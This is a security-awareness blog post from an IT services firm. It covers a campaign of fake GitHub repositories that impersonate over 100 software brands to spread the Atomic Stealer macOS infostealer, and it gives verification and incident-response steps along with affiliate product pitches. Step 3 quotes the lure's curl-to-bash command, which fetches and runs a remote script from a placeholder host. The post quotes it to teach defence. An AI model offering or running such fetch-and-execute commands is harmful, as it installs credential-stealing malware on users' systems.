Tag Archive for: atomic stealer

Key Takeaway: A large-scale malware campaign is using fake software pages on GitHub to distribute information stealers to Mac users. The campaign impersonates over 100 legitimate brands—including Malwarebytes, LastPass, Notion, Shopify, and many business tools your team likely uses. This article explains how the attack works and provides practical verification steps to protect your business.

The Scale of This Campaign

Security researchers have identified fake repositories impersonating more than 100 software brands, including:

• Security tools that businesses trust to protect them (Malwarebytes, LastPass, 1Password)
• Financial platforms handling sensitive transactions (Charles Schwab, Citibank, Robinhood)
• Business productivity software teams use daily (Notion, Shopify, Basecamp)
• Creative and development tools professionals rely on (After Effects, Docker, VS Code)

The malware distributed is Atomic Stealer (AMOS), an information stealer specifically designed to target macOS systems. Once installed, it harvests passwords from browsers and password managers, cryptocurrency wallet information, browser cookies and session tokens, documents and files, and detailed system information.

Security & Password Management Tools

Malwarebytes, LastPass, 1Password, SentinelOne, Bitwarden, Dashlane, KeePass, NordPass, Keeper Security

Financial Services & Trading Platforms

Charles Schwab, Citibank, E-TRADE, Fidelity, Robinhood, Webull, TD Ameritrade, Interactive Brokers

Business Software & Productivity

Notion, Obsidian, Basecamp, Confluence, Freshworks, Zenefits, Shopify, QuickBooks, Xero, Wave

Creative & Media Production

Adobe After Effects, DaVinci Resolve, Final Cut Pro, Audacity, OBS Studio, Reaper, Ableton Live

Development & Technical Tools

Docker, GitHub Desktop, Visual Studio Code, Sublime Text, Atom, Postman, Homebrew, iTerm2

Social Media & Content Management

Hootsuite, Buffer, Later, Publer, SocialPilot, ContentStudio

Video Conferencing & Recording

Zoom, Riverside.fm, StreamYard, Descript, Loom, Camtasia

Important: This list represents known impersonations as of September 2025. The campaign continues to evolve, and additional brands may be added. Always verify software downloads regardless of the brand or your familiarity with it.

Step 1: The Search

A team member searches for the software they need for work. Common search patterns include:

• “Notion Mac download”
• “Malwarebytes GitHub MacOS”
• “Docker install Mac”
• “LastPass direct download”

Results include sponsored advertisements or organic search results linking to GitHub pages. These appear alongside or sometimes above legitimate results.

Step 2: The Fake GitHub Page

The linked page appears professional and legitimate:

• Repository name matches the software brand
• README file includes the project description and installation instructions
• Prominent download button or installation command
• Sometimes includes fake star counts and repository activity
• May have comments or issues that appear legitimate

Step 3: The Installation Instructions

Instead of providing a standard .dmg or .pkg installer, the page presents a terminal command:

/bin/bash -c "$(curl -fsSL [malicious-url]/install.sh)"

This pattern appears similar to legitimate command-line installations some developers use. The command:

• curl: Downloads a file from the specified URL
• -fsSL: Options that make the download silent and follow redirects
• bash -c: Immediately executes whatever was downloaded
• The danger: No opportunity to review what's being installed; no security prompts; no ability to stop malicious code

Step 4: The Payload

The executed script downloads and installs Atomic Stealer, which immediately begins:

• Extracting passwords from Safari, Chrome, Firefox, and other browsers
• Accessing password manager databases if unlocked
• Stealing cryptocurrency wallet files and credentials
• Copying browser cookies and session tokens
• Harvesting documents from common locations
• Gathering system information and network details

5-Step Software Verification Process

Step 1: Start at the Official Website

Always begin at the known official website of the software. Use a bookmarked URL or type the address directly—don't rely solely on search results. For example:

• Malwarebytes downloads come from malwarebytes.com
• Notion downloads come from notion.com
• Docker downloads come from docker.com

Step 2: Use Official Download Links Only

Download from the official website's download page. Legitimate software companies provide direct downloads or clear links to authorized distribution channels. Avoid third-party download sites even if they appear in search results.

Step 3: Verify GitHub Repository If Applicable

If software legitimately uses GitHub for distribution, the official website will link to the official repository. Never trust a GitHub link found through a search—verify that it matches the link on the official website.

Step 4: Check Repository Authenticity

For legitimate GitHub repositories, verify:

• Account name matches the official organization
• The repository has a significant history (not recently created)
• Active community engagement with real issues and pull requests
• Verification badge or clear connection to an official organization
• Professional documentation and legitimate project structure

Step 5: Never Run Unfamiliar Terminal Commands

Legitimate Mac software installations use standard .dmg or .pkg installers that macOS can verify and scan. If installation requires running commands in Terminal, verify this is documented on the official website, and understand what the command does before executing it.

Warning Signs of Fake Software

• Search results that bypass official websites and link directly to GitHub
• Sponsored ads promoting GitHub downloads instead of official sites
• GitHub repositories with recent creation dates for well-established software
• Installation instructions requiring curl | bash or similar commands
• Download links pointing to unfamiliar domains or file hosting services
• Absence of official branding, team information, or verified accounts
• Pressure to install quickly or instructions to disable security features
• Poor documentation or generic project descriptions

Simple Software Approval Workflow

For Small Teams (1-15 people):

1. Team member identifies need for new software
2. Quick message to designated person (owner, office manager, IT contact): “Can I install [Software Name] for [reason]?”
3. The designated person performs a 5-minute verification using the checklist above
4. Approval given with the official download link
5. Software added to the approved list for future reference

For Growing Teams (15-50 people):

1. Submit software request through a simple form or a shared document
2. IT contact or designated security-aware person reviews the request
3. Verification includes checking the official website, reading recent reviews, and confirming no known security issues
4. Approved software added to the company-approved list with download instructions
5. Periodic review of installed software to ensure only approved applications are in use

Implementation Tip: This doesn't need to be bureaucratic. The goal is to “verify before install,” not create obstacles to productivity. Most requests can be approved within an hour, and emergency exceptions can be handled with verification after installation if necessary.

Disclosure: This article contains affiliate links for security tools we recommend. We may earn a commission when you purchase through these links at no additional cost to you. Our recommendations are based on professional experience and testing, and we only recommend tools we would use in our own business.

Endpoint Protection

Real-time malware detection prevents information stealers from installing, even if someone accidentally attempts to run malicious software. For Mac-based teams, endpoint protection has matured significantly:

• Malwarebytes for Mac Teams provides business-grade protection with centralized management. The platform detects information stealers like Atomic Stealer and provides real-time protection without slowing system performance. It offers straightforward deployment and management for small teams.
• Native macOS Security Features: Enable XProtect (built-in), keep macOS updated, and use FileVault for disk encryption. These provide baseline protection but should be supplemented with dedicated endpoint protection for business use.

Web and DNS Protection

Blocking malicious sites before downloads occur adds a crucial layer of defense:

• DNS Filtering: Services like Cisco Umbrella or Cloudflare for Teams block access to known malicious domains at the network level, preventing connections to malware distribution sites
• Browser Extensions: Malwarebytes Browser Guard (free) and similar tools provide additional protection by blocking malicious sites and advertisements

Credential Protection

Even if credentials are stolen, proper management limits the damage:

• Business Password Manager: Solutions like 1Password Business or Proton Pass for Business use encryption that protects passwords even if the password database is accessed. For a detailed comparison of business password managers, see our comprehensive password manager review.
• Multi-Factor Authentication (MFA): Enable MFA on all business accounts. Stolen passwords become significantly less valuable when they can't be used without the second authentication factor.
• Regular Credential Rotation: Periodic password changes limit the window of opportunity for stolen credentials

For Small Teams: You don't need enterprise-level complexity. Start with these three immediate actions:

1. Add endpoint protection to all business Macs (one-time setup, ongoing protection)
2. Create a “verify before install” rule (takes 5 minutes to explain, prevents countless problems)
3. Share this article with your team (builds awareness about current threats)

If You Suspect Your Mac is Infected

Act quickly but methodically. Information stealers begin working immediately after installation, but an organized response limits damage.

Phase 1: Immediate Containment (First 30 Minutes)

1. Disconnect from the Network

Turn off Wi-Fi and unplug Ethernet immediately. This prevents the malware from uploading stolen data and stops potential spread to other business systems. The Mac can still function for the remediation steps that follow.

2. Scan with Trusted Security Software

If you don't have endpoint protection installed, download Malwarebytes for Mac on a different, clean computer and transfer it via USB drive. Run a complete system scan and follow the software's removal recommendations. Malwarebytes specifically detects Atomic Stealer and related information stealers.

3. Document What Was Installed

Note the software name, source, and installation date. Screenshot any suspicious pages if still accessible. This information helps with complete removal and potential incident reporting if required for compliance.

Phase 2: Credential Security (First 2 Hours)

1. Change All Passwords—From a Different Device

Use a different computer, tablet, or phone—not the potentially infected Mac. Priority order:

1. Business banking and financial accounts
2. Primary email account
3. Business systems (CRM, accounting, project management)
4. Cloud storage and file sharing
5. Social media accounts used for business
6. Personal accounts that could affect business

Enable two-factor authentication on all accounts during this process if it is not already active.

2. Check for Unauthorized Access

• Review recent login history for all business accounts
• Look for unfamiliar devices, IP addresses, or locations
• Check bank and credit card transactions for suspicious activity
• Review recent emails for unauthorized account activity notifications

3. Revoke Active Sessions

• Log out of all devices for critical services
• Force logout from Google Workspace or Microsoft 365 admin consoles
• Regenerate API keys and access tokens for any business integrations
• Review and revoke any OAuth application authorizations that appear suspicious

Phase 3: System Cleanup (Next 24-48 Hours)

Technical Cleanup Steps (if comfortable with Mac administration):

1. Check Login Items: System Settings → Users & Groups → Login Items. Remove anything unfamiliar or installed around the time of suspected infection.
2. Review LaunchAgents and LaunchDaemons: These folders contain items that run automatically. Check:
   • ~/Library/LaunchAgents (user-specific)
   • /Library/LaunchAgents (system-wide)
   • /Library/LaunchDaemons (system-wide, higher privileges)

   Look for recently added items with unfamiliar names or names mimicking legitimate services.

3. Review Recently Installed Applications: Finder → Applications, sort by date added. Remove applications you don't recognize or didn't intentionally install.
4. Check Browser Extensions: Review extensions in Safari, Chrome, Firefox, and any other installed browsers. Remove unfamiliar extensions.

If technical cleanup feels overwhelming: This is exactly when professional IT support provides value. Professional cleanup costs far less than the potential damage from incomplete remediation. Our team in Miami provides incident response services for local businesses, ensuring complete remediation and implementing prevention measures.

Phase 4: Verification and Future Prevention

1. Verify Complete Removal

• Run additional malware scans 24-48 hours after initial cleanup
• Monitor system for unusual behavior: unexpected network activity, high CPU usage, unknown processes
• Check for new files or modifications in sensitive locations

2. Consider Clean Reinstall (for high-security situations)

For businesses handling sensitive client data—financial services, healthcare, legal practices—a complete macOS reinstall provides the highest confidence in system integrity. Restore from backups created before the infection, or reinstall applications individually from verified sources.

3. Implement Prevention Measures

• Install endpoint protection if not already present
• Enable FileVault disk encryption
• Review and tighten software installation procedures
• Schedule regular security assessments using our free security assessment tool

Contact IT professionals if:

• Your business handles sensitive client data (financial, medical, legal)
• You're unsure about any remediation steps
• You need to document the incident for compliance or insurance
• The infection may have spread to other systems or network resources
• You want third-party verification that the cleanup was complete

In Miami, iFeelTech provides security incident response for local businesses. We assess the situation, ensure complete remediation, and implement prevention measures to protect against future incidents.

What This Means for Mac-Based Businesses

If your business uses Macs—whether for creative work, development, or general operations—you need the same security mindset as Windows-based businesses. This includes:

• Regular security awareness training specific to Mac threats
• Endpoint protection software designed for macOS
• Clear software installation and verification policies
• Incident response planning that accounts for Mac systems
• Regular security assessments evaluating Mac-specific risks

The days of “we use Macs so we don't need security software” are long past. Modern businesses need comprehensive security programs regardless of platform choice. For guidance on building a complete security framework, our small business cybersecurity guide covers essential tools and strategies for businesses of all sizes.

Bottom Line: Don't avoid GitHub or other legitimate platforms. Instead, verify authenticity regardless of where you find software. Legitimate developers provide clear paths from their official websites to their official GitHub repositories. Following the verification process outlined in this article works whether the software is hosted on GitHub, the developer's own servers, or other distribution channels.

Preparing for Evolving Threats

This campaign demonstrates several trends likely to continue:

• Increasing abuse of trusted platforms and brands for malware distribution
• Growing sophistication of Mac-focused malware development
• Refined social engineering techniques that appear legitimate at each step
• Information stealers targeting business credentials and cryptocurrency assets
• Attacks that bypass technical controls through authorized user actions

Your business security strategy should consider these evolving approaches, not just traditional malware distribution methods. This means combining technical controls (endpoint protection, web filtering) with process controls (verification procedures, approval workflows) and awareness training (helping team members understand current threats).

How can I tell if I've already downloaded fake software from this campaign?

Review your recent downloads and installations, particularly anything installed from GitHub in recent weeks. Check for applications you don't remember installing, unexpected Login Items in System Settings, or suspicious terminal commands you may have run. If uncertain, run a full system scan with Malwarebytes for Mac or contact a security professional for assessment. Our network security audit guide includes steps for systematic security evaluation.

Is GitHub safe to use for business software?

Yes, GitHub remains legitimate and essential for open-source software development. The issue isn't GitHub itself, but malicious actors creating fake repositories. Always verify that GitHub repositories are linked from official software websites. Never download software from GitHub unless the official source explicitly directs you there with a verified link.

What makes this attack different from typical malware distribution?

This campaign exploits trust in both well-known brands and the GitHub platform. Rather than relying on obviously suspicious websites, attackers use legitimate platforms and professional-looking pages. Additionally, targeting Mac users specifically exploits the common misconception that Macs don't get malware. The combination of brand impersonation, platform trust, and Mac-specific targeting makes this particularly effective.

Do I need antivirus software on my Mac?

Yes. While macOS includes strong built-in security features, they can't protect against social engineering attacks where users authorize malicious software installation. Endpoint protection provides real-time scanning, web protection, and detection of known malware families like Atomic Stealer. For business use, endpoint protection is essential regardless of the operating system.

How do I safely download software that's legitimately hosted on GitHub?

Start at the software project's official website. Look for the official GitHub link on that website. Verify that the GitHub account matches the official project—check verification badges, account age, and activity history. For extra security, confirm that the repository has legitimate community engagement: real issues, pull requests, and contributors. Download releases from the official releases page, not from random links or forks.

What should I do if my business data may have been compromised?

Immediate priorities are changing all business passwords from a clean device, enabling multi-factor authentication on all accounts, notifying relevant parties (IT support, management, potentially clients if their data was exposed), documenting the incident for compliance purposes, and seeking professional incident response support to ensure complete remediation and assess business impact. Our team provides incident response services for Miami-area businesses.

Can information stealers access data on our company network?

Information stealers primarily target data on the infected computer—saved passwords, browser data, cryptocurrency wallets, and local files. However, if the infected Mac has access to network resources, shared drives, or cloud services, stolen credentials could potentially be used to access additional business data. This is why immediate credential changes and session revocation are critical components of incident response.

How often do these large-scale campaigns happen?

Malware campaigns are ongoing and continuous. This is notable because of the scale (100+ brands), sophistication (GitHub abuse), and Mac-specific targeting. Similar campaigns targeting different platforms or using different distribution methods occur regularly. This is why general security awareness and verification procedures are more valuable than focusing on any single threat. Staying informed about current threats through resources like this article helps, but the fundamental verification approach works against all similar attacks.

Three Steps to Take Right Now

1. Share This Information: Forward this article to your team and discuss verification procedures during your next meeting or in a brief email.
2. Review Recent Downloads: Take 15 minutes to check for any software installed from GitHub or unfamiliar sources in the past 60 days.
3. Implement Basic Protection: If your Macs don't have endpoint protection, get it installed this week. If you don't have a business password manager, implement one this month.

Need Help Securing Your Mac-Based Business?

iFeelTech provides comprehensive security services for Miami-area businesses and consulting for companies nationwide. Whether you need:

• Security assessment and vulnerability analysis
• Endpoint protection deployment and management for Mac fleets
• Incident response and remediation support
• Ongoing security monitoring and management
• Security awareness training for your team

We work with businesses of all sizes to implement practical, effective security measures that protect your business without disrupting productivity. Our approach focuses on understanding your specific business needs and workflows, then implementing security that fits your operations rather than forcing your operations to fit security requirements.

Or call (305) 741-4601 to speak with a security specialist.